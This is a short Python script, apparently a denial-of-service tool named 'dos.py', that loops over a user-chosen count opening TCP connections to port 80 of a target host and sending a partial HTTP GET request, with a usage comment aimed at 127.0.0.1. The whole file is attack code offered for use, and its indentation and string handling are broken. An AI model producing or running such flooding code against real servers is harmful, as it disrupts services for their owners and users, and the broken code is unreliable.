import socket
import sys

for i in range(1, int(sys.argv[2])):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
s.send("GET /index.html HTTP/1.1\r\n")	
s.recv(1024)

#python dos.py 127.0.0.1 1000